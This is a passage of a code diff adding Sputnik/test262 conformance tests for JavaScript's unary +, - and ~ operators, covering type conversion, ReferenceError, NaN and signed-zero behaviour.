+ * @path ch11/11.4/11.4.6/S11.4.6_A2.1_T1.js
+ * @description Either Type(x) is not Reference or GetBase(x) is not null
+ */
+
+//CHECK#1
+if (+1 !== 1) {
+ $ERROR('#1: +1 === 1. Actual: ' + (+1));
+}
+
+//CHECK#2
+if (+(+1) !== 1) {
+ $ERROR('#2: +(+1) === -1. Actual: ' + (+(+1)));
+}
+
+//CHECK#3
+var x = 1;
+if (+x !== 1) {
+ $ERROR('#3: var x = +1; -x === 1. Actual: ' + (-x));
+}
+
+//CHECK#4
+var x = 1;
+if (+(+x) !== 1) {
+ $ERROR('#4: var x = 1; +(+x) === 1. Actual: ' + (+(+x)));
+}
+
+//CHECK#5
+var object = new Object();
+object.prop = 1;
+if (+object.prop !== 1) {
+ $ERROR('#5: var object = new Object(); object.prop = 1; +object.prop === 1. Actual: ' + (+object.prop));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A2.1_T2.js b/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A2.1_T2.js
new file mode 100644
index 000000000..ab6aa9fe4
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A2.1_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator +x uses GetValue
+ *
+ * @path ch11/11.4/11.4.6/S11.4.6_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ +x;
+ $ERROR('#1.1: +x throw ReferenceError. Actual: ' + (+x));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: +x throw ReferenceError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A2.2_T1.js b/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A2.2_T1.js
new file mode 100644
index 000000000..78eb580bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A2.2_T1.js
@@ -0,0 +1,79 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator +x uses [[Default Value]]
+ *
+ * @path ch11/11.4/11.4.6/S11.4.6_A2.2_T1.js
+ * @description If Type(value) is Object, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+var object = {valueOf: function() {return 1}};
+if (+object !== 1) {
+ $ERROR('#1: var object = {valueOf: function() {return 1}}; +object === 1. Actual: ' + (+object));
+}
+
+//CHECK#2
+var object = {valueOf: function() {return 1}, toString: function() {return 0}};
+if (+object !== 1) {
+ $ERROR('#2: var object = {valueOf: function() {return 1}, toString: function() {return 0}}; +object === 1. Actual: ' + (+object));
+}
+
+//CHECK#3
+var object = {valueOf: function() {return 1}, toString: function() {return {}}};
+if (+object !== 1) {
+ $ERROR('#3: var object = {valueOf: function() {return 1}, toString: function() {return {}}}; +object === 1. Actual: ' + (+object));
+}
+
+//CHECK#4
+try {
+ var object = {valueOf: function() {return 1}, toString: function() {throw "error"}};
+ if (+object !== 1) {
+ $ERROR('#4.1: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; +object === 1. Actual: ' + (+object));
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; +object not throw "error"');
+ } else {
+ $ERROR('#4.3: var object = {valueOf: function() {return 1}, toString: function() {throw "error"}}; +object not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+var object = {toString: function() {return 1}};
+if (+object !== 1) {
+ $ERROR('#5: var object = {toString: function() {return 1}}; +object === 1. Actual: ' + (+object));
+}
+
+//CHECK#6
+var object = {valueOf: function() {return {}}, toString: function() {return 1}}
+if (+object !== 1) {
+ $ERROR('#6: var object = {valueOf: function() {return {}}, toString: function() {return 1}}; +object === 1. Actual: ' + (+object));
+}
+
+//CHECK#7
+try {
+ var object = {valueOf: function() {throw "error"}, toString: function() {return 1}};
+ +object;
+ $ERROR('#7.1: var object = {valueOf: function() {throw "error"}, toString: function() {return 1}}; +object throw "error". Actual: ' + (+object));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: var object = {valueOf: function() {throw "error"}, toString: function() {return 1}}; +object throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ var object = {valueOf: function() {return {}}, toString: function() {return {}}};
+ +object;
+ $ERROR('#8.1: var object = {valueOf: function() {return {}}, toString: function() {return {}}}; +object throw TypeError. Actual: ' + (+object));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: var object = {valueOf: function() {return {}}, toString: function() {return {}}}; +object throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A3_T1.js b/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A3_T1.js
new file mode 100644
index 000000000..7338942de
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A3_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator +x returns ToNumber(x)
+ *
+ * @path ch11/11.4/11.4.6/S11.4.6_A3_T1.js
+ * @description Type(x) is boolean primitive or Boolean object
+ */
+
+//CHECK#1
+if (+false !== 0) {
+ $ERROR('#1: +false === 0. Actual: ' + (+false));
+}
+
+//CHECK#2
+if (+new Boolean(true) !== 1) {
+ $ERROR('#2: +new Boolean(true) === 1. Actual: ' + (+new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A3_T2.js b/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A3_T2.js
new file mode 100644
index 000000000..86f537c64
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A3_T2.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator +x returns ToNumber(x)
+ *
+ * @path ch11/11.4/11.4.6/S11.4.6_A3_T2.js
+ * @description Type(x) is number primitive or Number object
+ */
+
+//CHECK#1
+if (+0.1 !== 0.1) {
+ $ERROR('#1: +0.1 === 0.1. Actual: ' + (+0.1));
+}
+
+//CHECK#2
+if (+new Number(-1.1) !== -1.1) {
+ $ERROR('#2: +new Number(-1.1) === -1.1. Actual: ' + (+new Number(-1.1)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A3_T3.js b/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A3_T3.js
new file mode 100644
index 000000000..36628861a
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A3_T3.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator +x returns ToNumber(x)
+ *
+ * @path ch11/11.4/11.4.6/S11.4.6_A3_T3.js
+ * @description Type(x) is string primitive or String object
+ */
+
+//CHECK#1
+if (+"1" !== 1) {
+ $ERROR('#1: +"1" === 1. Actual: ' + (+"1"));
+}
+
+//CHECK#2
+if (isNaN(+"x") !== true) {
+ $ERROR('#2: +"x" === Not-a-Number. Actual: ' + (+"x"));
+}
+
+//CHECK#3
+if (+new Number("-1") !== -1) {
+ $ERROR('#3: +new String("-1") === -1. Actual: ' + (+new String("-1")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A3_T4.js b/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A3_T4.js
new file mode 100644
index 000000000..61b853375
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A3_T4.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator +x returns ToNumber(x)
+ *
+ * @path ch11/11.4/11.4.6/S11.4.6_A3_T4.js
+ * @description Type(x) is undefined or null
+ */
+
+//CHECK#1
+if (isNaN(+void 0) !== true) {
+ $ERROR('#1: +void 0 === Not-a-Number. Actual: ' + (+void 0));
+}
+
+//CHECK#2
+if (+null !== 0) {
+ $ERROR('#2: +null === 0. Actual: ' + (+null));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A3_T5.js b/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A3_T5.js
new file mode 100644
index 000000000..9b56ff09f
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.6/S11.4.6_A3_T5.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator +x returns ToNumber(x)
+ *
+ * @path ch11/11.4/11.4.6/S11.4.6_A3_T5.js
+ * @description Type(x) is Object object or Function object
+ */
+
+//CHECK#1
+if (isNaN(+{}) !== true) {
+ $ERROR('#1: +{} === Not-a-Number. Actual: ' + (+{}));
+}
+
+//CHECK#2
+if (isNaN(+function(){return 1}) !== true) {
+ $ERROR('#2: +function(){return 1} === Not-a-Number. Actual: ' + (+function(){return 1}));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.6/browser.js b/js/src/tests/test262/ch11/11.4/11.4.6/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.6/browser.js
diff --git a/js/src/tests/test262/ch11/11.4/11.4.6/shell.js b/js/src/tests/test262/ch11/11.4/11.4.6/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.6/shell.js
diff --git a/js/src/tests/test262/ch11/11.4/11.4.7/11.4.7-4-1.js b/js/src/tests/test262/ch11/11.4/11.4.7/11.4.7-4-1.js
new file mode 100644
index 000000000..12d050866
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.7/11.4.7-4-1.js
@@ -0,0 +1,15 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch11/11.4/11.4.7/11.4.7-4-1.js
+ * @description -"" should be zero
+ */
+
+
+function testcase() {
+ return -"" === 0;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A1.js b/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A1.js
new file mode 100644
index 000000000..13234518b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between "-" and UnaryExpression are allowed
+ *
+ * @path ch11/11.4/11.4.7/S11.4.7_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("-\u00091") !== -1) {
+ $ERROR('#1: -\\u00091 === -1');
+}
+
+//CHECK#2
+if (eval("-\u000B1") !== -1) {
+ $ERROR('#2: -\\u000B1 === -1');
+}
+
+//CHECK#3
+if (eval("-\u000C1") !== -1) {
+ $ERROR('#3: -\\u000C1 === -1');
+}
+
+//CHECK#4
+if (eval("-\u00201") !== -1) {
+ $ERROR('#4: -\\u0020 === -1');
+}
+
+//CHECK#5
+if (eval("-\u00A01") !== -1) {
+ $ERROR('#5: -\\u00A01 === -1');
+}
+
+//CHECK#6
+if (eval("-\u000A1") !== -1) {
+ $ERROR('#6: -\\u000A1 === -1');
+}
+
+//CHECK#7
+if (eval("-\u000D1") !== -1) {
+ $ERROR('#7: -\\u000D1 === -1');
+}
+
+//CHECK#8
+if (eval("-\u20281") !== -1) {
+ $ERROR('#8: -\\u20281 === -1');
+}
+
+//CHECK#9
+if (eval("-\u20291") !== -1) {
+ $ERROR('#9: -\\u20291 === -1');
+}
+
+//CHECK#10
+if (eval("-\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20291") !== -1) {
+ $ERROR('#10: -\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20291 === -1');
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A2.1_T1.js b/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A2.1_T1.js
new file mode 100644
index 000000000..8b3c47a90
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A2.1_T1.js
@@ -0,0 +1,39 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator -x uses GetValue
+ *
+ * @path ch11/11.4/11.4.7/S11.4.7_A2.1_T1.js
+ * @description Either Type(x) is not Reference or GetBase(x) is not null
+ */
+
+//CHECK#1
+if (-1 !== -1) {
+ $ERROR('#1: -1 === -1. Actual: ' + (-1));
+}
+
+//CHECK#2
+if (-(-1) !== 1) {
+ $ERROR('#2: -(-1) === -1. Actual: ' + (-(-1)));
+}
+
+//CHECK#3
+var x = -1;
+if (-x !== 1) {
+ $ERROR('#3: var x = -1; -x === 1. Actual: ' + (-x));
+}
+
+//CHECK#4
+var x = -1;
+if (-(-x) !== -1) {
+ $ERROR('#4: var x = -1; -(-x) === -1. Actual: ' + (-(-x)));
+}
+
+//CHECK#5
+var object = new Object();
+object.prop = 1;
+if (-object.prop !== -1) {
+ $ERROR('#5: var object = new Object(); object.prop = -1; -object.prop === -1. Actual: ' + (-object.prop));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A2.1_T2.js b/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A2.1_T2.js
new file mode 100644
index 000000000..e7de28aa5
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A2.1_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator -x uses GetValue
+ *
+ * @path ch11/11.4/11.4.7/S11.4.7_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ -x;
+ $ERROR('#1.1: -x throw ReferenceError. Actual: ' + (-x));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: -x throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A2.2_T1.js b/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A2.2_T1.js
new file mode 100644
index 000000000..a9ad69e5c
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A2.2_T1.js
@@ -0,0 +1,79 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator -x uses [[Default Value]]
+ *
+ * @path ch11/11.4/11.4.7/S11.4.7_A2.2_T1.js
+ * @description If Type(value) is Object, evaluate ToPrimitive(value, Number)
+ */
+
+//CHECK#1
+var object = {valueOf: function() {return -1}};
+if (-object !== 1) {
+ $ERROR('#1: var object = {valueOf: function() {return -1}}; -object === 1. Actual: ' + (-object));
+}
+
+//CHECK#2
+var object = {valueOf: function() {return -1}, toString: function() {return 0}};
+if (-object !== 1) {
+ $ERROR('#2: var object = {valueOf: function() {return -1}, toString: function() {return 0}}; -object === 1. Actual: ' + (-object));
+}
+
+//CHECK#3
+var object = {valueOf: function() {return -1}, toString: function() {return {}}};
+if (-object !== 1) {
+ $ERROR('#3: var object = {valueOf: function() {return -1}, toString: function() {return {}}}; -object === 1. Actual: ' + (-object));
+}
+
+//CHECK#4
+try {
+ var object = {valueOf: function() {return -1}, toString: function() {throw "error"}};
+ if (-object !== 1) {
+ $ERROR('#4.1: var object = {valueOf: function() {return -1}, toString: function() {throw "error"}}; -object === 1. Actual: ' + (-object));
+ }
+}
+catch (e) {
+ if (e === "error") {
+ $ERROR('#4.2: var object = {valueOf: function() {return -1}, toString: function() {throw "error"}}; -object not throw "error"');
+ } else {
+ $ERROR('#4.3: var object = {valueOf: function() {return -1}, toString: function() {throw "error"}}; -object not throw Error. Actual: ' + (e));
+ }
+}
+
+//CHECK#5
+var object = {toString: function() {return -1}};
+if (-object !== 1) {
+ $ERROR('#5.1: var object = {toString: function() {return -1}}; -object === 1. Actual: ' + (-object));
+}
+
+//CHECK#6
+var object = {valueOf: function() {return {}}, toString: function() {return -1}}
+if (-object !== 1) {
+ $ERROR('#6: var object = {valueOf: function() {return {}}, toString: function() {return -1}}; -object === 1. Actual: ' + (-object));
+}
+
+//CHECK#7
+try {
+ var object = {valueOf: function() {throw "error"}, toString: function() {return -1}};
+ -object;
+ $ERROR('#7.1: var object = {valueOf: function() {throw "error"}, toString: function() {return -1}}; -object throw "error". Actual: ' + (-object));
+}
+catch (e) {
+ if (e !== "error") {
+ $ERROR('#7.2: var object = {valueOf: function() {throw "error"}, toString: function() {return -1}}; -object throw "error". Actual: ' + (e));
+ }
+}
+
+//CHECK#8
+try {
+ var object = {valueOf: function() {return {}}, toString: function() {return {}}};
+ -object;
+ $ERROR('#8.1: var object = {valueOf: function() {return {}}, toString: function() {return {}}}; -object throw TypeError. Actual: ' + (-object));
+}
+catch (e) {
+ if ((e instanceof TypeError) !== true) {
+ $ERROR('#8.2: var object = {valueOf: function() {return {}}, toString: function() {return {}}}; -object throw TypeError. Actual: ' + (e));
+ }
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A3_T1.js b/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A3_T1.js
new file mode 100644
index 000000000..f421d9133
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A3_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator -x returns -ToNumber(x)
+ *
+ * @path ch11/11.4/11.4.7/S11.4.7_A3_T1.js
+ * @description Type(x) is boolean primitive or Boolean object
+ */
+
+//CHECK#1
+if (-false !== 0) {
+ $ERROR('#1: -false === 0. Actual: ' + (-false));
+}
+
+//CHECK#2
+if (-new Boolean(true) !== -1) {
+ $ERROR('#2: -new Boolean(true) === -1. Actual: ' + (-new Boolean(true)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A3_T2.js b/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A3_T2.js
new file mode 100644
index 000000000..611683c12
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A3_T2.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator -x returns -ToNumber(x)
+ *
+ * @path ch11/11.4/11.4.7/S11.4.7_A3_T2.js
+ * @description Type(x) is number primitive or Number object
+ */
+
+//CHECK#1
+if (-(1) !== -1) {
+ $ERROR('#1: -(1) === -1. Actual: ' + (-(1)));
+}
+
+//CHECK#2
+if (-new Number(-1) !== 1) {
+ $ERROR('#2: -new Number(-1) === 1. Actual: ' + (-new Number(-1)));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A3_T3.js b/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A3_T3.js
new file mode 100644
index 000000000..9a439804e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A3_T3.js
@@ -0,0 +1,25 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator -x returns -ToNumber(x)
+ *
+ * @path ch11/11.4/11.4.7/S11.4.7_A3_T3.js
+ * @description Type(x) is string primitive or String object
+ */
+
+//CHECK#1
+if (-"1" !== -1) {
+ $ERROR('#1: -"1" === -1. Actual: ' + (-"1"));
+}
+
+//CHECK#2
+if (isNaN(-"x") !== true) {
+ $ERROR('#2: -"x" === Not-a-Number. Actual: ' + (-"x"));
+}
+
+//CHECK#3
+if (-new String("-1") !== 1) {
+ $ERROR('#3: -new String("-1") === 1. Actual: ' + (-new String("-1")));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A3_T4.js b/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A3_T4.js
new file mode 100644
index 000000000..7fda40e95
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A3_T4.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator -x returns -ToNumber(x)
+ *
+ * @path ch11/11.4/11.4.7/S11.4.7_A3_T4.js
+ * @description Type(x) is undefined or null
+ */
+
+//CHECK#1
+if (isNaN(-void 0) !== true) {
+ $ERROR('#1: +void 0 === Not-a-Number. Actual: ' + (+void 0));
+}
+
+//CHECK#2
+if (-null !== 0) {
+ $ERROR('#2: +null === 0. Actual: ' + (+null));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A3_T5.js b/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A3_T5.js
new file mode 100644
index 000000000..426a4fd8b
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A3_T5.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator -x returns -ToNumber(x)
+ *
+ * @path ch11/11.4/11.4.7/S11.4.7_A3_T5.js
+ * @description Type(x) is Object object or Function object
+ */
+
+//CHECK#1
+if (isNaN(-{}) !== true) {
+ $ERROR('#1: -{} === Not-a-Number. Actual: ' + (-{}));
+}
+
+//CHECK#2
+if (isNaN(-function(){return 1}) !== true) {
+ $ERROR('#2: -function(){return 1} === Not-a-Number. Actual: ' + (-function(){return 1}));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A4.1.js b/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A4.1.js
new file mode 100644
index 000000000..e8d1dfe86
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A4.1.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * If x is NaN, operator -x returns NaN
+ *
+ * @path ch11/11.4/11.4.7/S11.4.7_A4.1.js
+ * @description Checking NaN
+ */
+
+//CHECK#1
+if (isNaN(-NaN) !== true) {
+ $ERROR('#1: -NaN === Not-a-Number. Actual: ' + (-NaN));
+}
+
+//CHECK#2
+var x = NaN;
+if (isNaN(-x) != true) {
+ $ERROR('#2: var x = NaN; -x === Not-a-Number. Actual: ' + (-x));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A4.2.js b/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A4.2.js
new file mode 100644
index 000000000..8b39bd249
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.7/S11.4.7_A4.2.js
@@ -0,0 +1,33 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Negating +0 produces -0, negating -0 produces +0
+ *
+ * @path ch11/11.4/11.4.7/S11.4.7_A4.2.js
+ * @description Checking Infinity
+ */
+
+//CHECK#1
+var x = 0;
+x = -x;
+if (x !== -0) {
+ $ERROR('#1.1: var x = 0; x = -x; x === 0. Actual: ' + (x));
+} else {
+ if (1/x !== Number.NEGATIVE_INFINITY) {
+ $ERROR('#1.2: var x = 0; x = -x; x === - 0. Actual: +0');
+ }
+}
+
+//CHECK#2
+var x = -0;
+x = -x;
+if (x !== 0) {
+ $ERROR('#2.1: var x = -0; x = -x; x === 0. Actual: ' + (x));
+} else {
+ if (1/x !== Number.POSITIVE_INFINITY) {
+ $ERROR('#2.2: var x = -0; x = -x; x === + 0. Actual: -0');
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.7/browser.js b/js/src/tests/test262/ch11/11.4/11.4.7/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.7/browser.js
diff --git a/js/src/tests/test262/ch11/11.4/11.4.7/shell.js b/js/src/tests/test262/ch11/11.4/11.4.7/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.7/shell.js
diff --git a/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A1.js b/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A1.js
new file mode 100644
index 000000000..7a646edfd
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A1.js
@@ -0,0 +1,60 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White Space and Line Terminator between "~" and UnaryExpression are allowed
+ *
+ * @path ch11/11.4/11.4.8/S11.4.8_A1.js
+ * @description Checking by using eval
+ */
+
+//CHECK#1
+if (eval("~\u00090") !== -1) {
+ $ERROR('#0: ~\\u00090 === -1');
+}
+
+//CHECK#2
+if (eval("~\u000B0") !== -1) {
+ $ERROR('#2: ~\\u000B0 === -1');
+}
+
+//CHECK#3
+if (eval("~\u000C0") !== -1) {
+ $ERROR('#3: ~\\u000C0 === -1');
+}
+
+//CHECK#4
+if (eval("~\u00200") !== -1) {
+ $ERROR('#4: ~\\u0020 === -1');
+}
+
+//CHECK#5
+if (eval("~\u00A00") !== -1) {
+ $ERROR('#5: ~\\u00A00 === -1');
+}
+
+//CHECK#6
+if (eval("~\u000A0") !== -1) {
+ $ERROR('#6: ~\\u000A0 === -1');
+}
+
+//CHECK#7
+if (eval("~\u000D0") !== -1) {
+ $ERROR('#7: ~\\u000D0 === -1');
+}
+
+//CHECK#8
+if (eval("~\u20280") !== -1) {
+ $ERROR('#8: ~\\u20280 === -1');
+}
+
+//CHECK#9
+if (eval("~\u20290") !== -1) {
+ $ERROR('#9: ~\\u20290 === -1');
+}
+
+//CHECK#10
+if (eval("~\u0009\u000B\u000C\u0020\u00A0\u000A\u000D\u2028\u20290") !== -1) {
+ $ERROR('#10: ~\\u0009\\u000B\\u000C\\u0020\\u00A0\\u000A\\u000D\\u2028\\u20290 === -1');
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A2.1_T1.js b/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A2.1_T1.js
new file mode 100644
index 000000000..6dc44f7ae
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A2.1_T1.js
@@ -0,0 +1,39 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator ~x uses GetValue
+ *
+ * @path ch11/11.4/11.4.8/S11.4.8_A2.1_T1.js
+ * @description Either Type(x) is not Reference or GetBase(x) is not null
+ */
+
+//CHECK#1
+if (~0 !== -1) {
+ $ERROR('#1: ~0 === -1. Actual: ' + (~0));
+}
+
+//CHECK#2
+if (~(~0) !== 0) {
+ $ERROR('#2: ~(~0) === 0. Actual: ' + (~(~0)));
+}
+
+//CHECK#3
+var x = 0;
+if (~x !== -1) {
+ $ERROR('#3: var x = 0; ~x === -1. Actual: ' + (~x));
+}
+
+//CHECK#4
+var x = 0;
+if (~(~x) !== 0) {
+ $ERROR('#4: var x = 0; ~(~x) === 0. Actual: ' + (~(~x)));
+}
+
+//CHECK#5
+var object = new Object();
+object.prop = 0;
+if (~object.prop !== -1) {
+ $ERROR('#5: var object = new Object(); object.prop = 0; ~object.prop === -1. Actual: ' + (~object.prop));
+}
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A2.1_T2.js b/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A2.1_T2.js
new file mode 100644
index 000000000..3f53f4673
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A2.1_T2.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Operator ~x uses GetValue
+ *
+ * @path ch11/11.4/11.4.8/S11.4.8_A2.1_T2.js
+ * @description If GetBase(x) is null, throw ReferenceError
+ */
+
+//CHECK#1
+try {
+ ~x;
+ $ERROR('#1.1: ~x throw ReferenceError. Actual: ' + (~x));
+}
+catch (e) {
+ if ((e instanceof ReferenceError) !== true) {
+ $ERROR('#1.2: ~x throw ReferenceError. Actual: ' + (e));
+ }
+}
+
+
diff --git a/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A2.2_T1.js b/js/src/tests/test262/ch11/11.4/11.4.8/S11.4.8_A2.2_T1.js
new file mode 100644
index 000000000..44b5e6127
--- /dev/null
